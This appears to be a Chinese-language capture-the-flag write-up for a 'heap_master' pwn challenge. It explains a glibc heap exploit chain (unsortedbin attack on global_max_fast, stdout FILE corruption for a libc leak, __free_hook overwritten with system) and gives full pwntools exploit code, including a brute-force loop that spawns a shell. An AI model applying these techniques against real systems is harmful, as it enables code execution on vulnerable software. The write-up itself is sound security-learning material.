这道题学到了很多,特此记录一下。
1.常规checksec一下,保护全开。
2.函数解析:
比较常规的菜单题,这里的add是正常,但是程序最开始mmap一块0x10000大小的chunk,之后的edit和delete都是针对这个最开始mmap出来的chunk。
(1)edit函数:输入偏移,针对m_chunk_addr对应偏移修改。比如m_chunk_addr=0x100,偏移为0x10,修改内容为’M’那么修改内容为*(0x100+0x10) = ‘M’,即*(m_chunk_addr+offset) = change_cont。
(2)delete函数:同样输入偏移针对m_chunk_addr对应偏移free,由于没有指针的相关操作,所以这里存在UAF。
3.漏洞解析:
(1)由于mmap的数据可以任意伪造和释放,那么我们可以利用这个释放任意大小chunk,在没有办法泄露地址的情况下,我们可以选择进行爆破global_max_fast,利用unsortedbin attack在global_max_fast上写下main_arena地址,使得fastbinY数组可以越界写。
(2)之后再利用释放任意大小的chunk,从main_arena中fastbinY数组越界往后写,修改_IO_2_1_stout结构体的_IO_write_base、_IO_write_ptr、_IO_read_end、_IO_write_end为mmap中放入unsortedbin的堆地址,从而泄露出main_arena地址得到地址。
(3)再利用fastbin的特性,修改fastbinY数组上的chunk的fd为system,申请对应大小的fastbin回来之后,其fd就留在fastbinY数组上,这样如果fastbinY对应的那个索引chunk本身就在free_hook上,那么就可以修改free_hook为system了。这个同样通过fastbinY数组越界写来实现。
(4)最后释放一个/bin/sh堆块即可getshell。
4.exp编写与调试:
(1)首先是菜单函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
|
def dbg(): gdb.attach(io) pause()
def add(size): io.sendlineafter(">> ", "1") sleep(0.01) io.sendlineafter("size: ", str(size)) sleep(0.01)
def edit(offset, cont): io.sendlineafter(">> ", "2") sleep(0.01) io.sendlineafter("offset: ", str(offset)) sleep(0.01) io.sendlineafter("size: ", str(len(cont))) sleep(0.01) io.sendafter("content: ", cont) sleep(0.01)
def m_edit(offset, cont): io.sendline("2") sleep(0.01) io.sendline(str(offset)) sleep(0.01) io.sendline(str(len(cont))) sleep(0.01) io.send(cont) sleep(0.01)
def delete(offset): io.sendlineafter(">> ", "3") sleep(0.01) io.sendlineafter("offset: ", str(offset)) sleep(0.01)
def m_delete(offset): io.sendline("3") sleep(0.01) io.sendline(str(offset)) sleep(0.01)
|
这里切分m_delete和m_edit的原因是因为在后面第一次修改_IO_write_base之后输出的东西可能就会发生一些变化,不太好接着判断。
(2)修改global_max_fast:
1 2 3 4 5 6 7 8 9 10 11
|
edit(0,p64(0x0)+p64(0x91)+ '0'*0x80+ p64(0x0)+p64(0x21)+ '1'*0x10+ p64(0x0)+p64(0x21)) delete(0x10) guess = 0x9000 edit(0x18, p16((guess + libc.sym['global_max_fast'] - 0x10) & 0xffff)) add(0x80)
|
(3)fastbinY数组越界写,泄露得到地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
|
fastbinsY = guess + libc.sym['main_arena'] + 8 _IO_read_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x10 _IO_write_base = guess + libc.sym['_IO_2_1_stdout_'] + 0x20 _IO_write_ptr = guess + libc.sym['_IO_2_1_stdout_'] + 0x28 _IO_write_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x30
idx = (_IO_write_base - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8, p64(size+1)) m_edit(0x10 + size, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10)
idx = (_IO_write_ptr - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8 + 0x10, p64(size+1)) m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10 + 0x10)
idx = (_IO_write_end - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8 + 0x10, p64(size+1)) m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10 + 0x10)
idx = (_IO_read_end - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8, p64(size+1)) m_edit(0x10 + size, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10)
libc_base= u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - libc.sym['main_arena'] - 88 log.info("libc_base:0x%x"%libc_base) __free_hook = libc_base + libc.sym['__free_hook'] fastbinsY = libc_base + libc.sym['main_arena'] + 8 system_addr = libc_base + libc.sym['system']
|
mmap为0x4a0fe000
四个均修改过了,这种情况下flag不修改也是可以泄露的。
▲其实这个只写write_base和read_end也可以,只不过会发送特别多的数据过来,打远程的时候很不好打。需要注意的是read_end得最后写。
(4)越界释放chunk到_free_hook,然后修改其fd为system,再申请回来就可以将_free_hook改为system。
1 2 3 4 5 6 7 8 9 10 11
|
idx = (__free_hook - fastbinsY) / 8 size = idx * 0x10 + 0x20 log.info("size:0x%x"%size) edit(0x10 + 8, p64(size+1)) edit(0x10 + size, p64(0x0)+p64(0x21)) delete(0x10 + 0x10) edit(0x20, p64(system_addr)) add(size - 0x10)
|
没有申请回来之前,free_hook上是堆地址,其FD为system
申请回来之后,FD被写进free_hook,这是fastbin机制造成的。
(5)创建/bin/sh堆块,释放即可getshell:
1 2 3 4 5
|
edit(0x200, p64(0x0)+p64(0x21)+"/bin/sh\0") delete(0x200 + 0x10) io.interactive()
|
5.总的爆破EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
|
from pwn import * from time import sleep import os context.binary = "./heap_master" libc = ELF(context.binary.libc.path)
def dbg(): gdb.attach(io) pause()
def add(size): io.sendlineafter(">> ", "1") sleep(0.01) io.sendlineafter("size: ", str(size)) sleep(0.01)
def edit(offset, cont): io.sendlineafter(">> ", "2") sleep(0.01) io.sendlineafter("offset: ", str(offset)) sleep(0.01) io.sendlineafter("size: ", str(len(cont))) sleep(0.01) io.sendafter("content: ", cont) sleep(0.01)
def m_edit(offset, cont): io.sendline("2") sleep(0.01) io.sendline(str(offset)) sleep(0.01) io.sendline(str(len(cont))) sleep(0.01) io.send(cont) sleep(0.01)
def delete(offset): io.sendlineafter(">> ", "3") sleep(0.01) io.sendlineafter("offset: ", str(offset)) sleep(0.01)
def m_delete(offset): io.sendline("3") sleep(0.01) io.sendline(str(offset)) sleep(0.01)
def pwn(): global io edit(0,p64(0x0)+p64(0x91)+ '0'*0x80+ p64(0x0)+p64(0x21)+ '1'*0x10+ p64(0x0)+p64(0x21)) delete(0x10) guess = 0x9000 edit(0x18, p16((guess + libc.sym['global_max_fast'] - 0x10)&0xffff)) add(0x80)
fastbinsY = guess + libc.sym['main_arena'] + 8 _IO_read_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x10 _IO_write_base = guess + libc.sym['_IO_2_1_stdout_'] + 0x20 _IO_write_ptr = guess + libc.sym['_IO_2_1_stdout_'] + 0x28 _IO_write_end = guess + libc.sym['_IO_2_1_stdout_'] + 0x30 __free_hook = guess + libc.sym['__free_hook'] _IO_list_all = guess + libc.sym['_IO_list_all']
idx = (_IO_write_base - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8, p64(size+1)) m_edit(0x10 + size, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10)
idx = (_IO_write_ptr - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8 + 0x10, p64(size+1)) m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10 + 0x10)
idx = (_IO_write_end - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8 + 0x10, p64(size+1)) m_edit(0x10 + size + 0x10, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10 + 0x10)
idx = (_IO_read_end - fastbinsY) / 8 size = idx * 0x10 + 0x20 m_edit(0x10 + 0x8, p64(size+1)) m_edit(0x10 + size, p64(0x0)+p64(0x21)) m_delete(0x10 + 0x10)
libc_base= u64(io.recvuntil("\x7f")[-6: ] + '\0\0') - libc.sym['main_arena'] - 88 log.info("libc_base:0x%x"%libc_base) __free_hook = libc_base + libc.sym['__free_hook'] fastbinsY = libc_base + libc.sym['main_arena'] + 8 system_addr = libc_base + libc.sym['system']
idx = (__free_hook - fastbinsY) / 8 size = idx * 0x10 + 0x20 log.info("size:0x%x"%size) edit(0x10 + 8, p64(size+1)) edit(0x10 + size, p64(0x0)+p64(0x21)) delete(0x10 + 0x10) edit(0x20, p64(system_addr)) add(size - 0x10)
edit(0x200, p64(0x0)+p64(0x21)+"/bin/sh\0") delete(0x200 + 0x10)
io.interactive()
i = 0 while True: i += 1 print i io = process("./heap_master") try: pwn() io.recv(timeout = 1) except EOFError: io.close() continue else: break
|
6.总结:
(1)unsortedbin attack:修改bk任意写main_arena,这里bk通常可以进行部分写来爆破,也常常用来修改global_max_fast,使得fastbinY越界写。
(2)FSOP的利用中,不一定非得修改flag,修改_IO_write_base、_IO_write_ptr、_IO_read_end、_IO_write_end也可以,其中需要满足_IO_read_end等于_IO_write_base来起到flag的作用绕过检查。
(3)fastbinY数组的越界申请,修改其fd可实现任意写,这点和利用fastbinY数组中chunk大小在main_arena中留下0x20~0x80的数据异曲同工。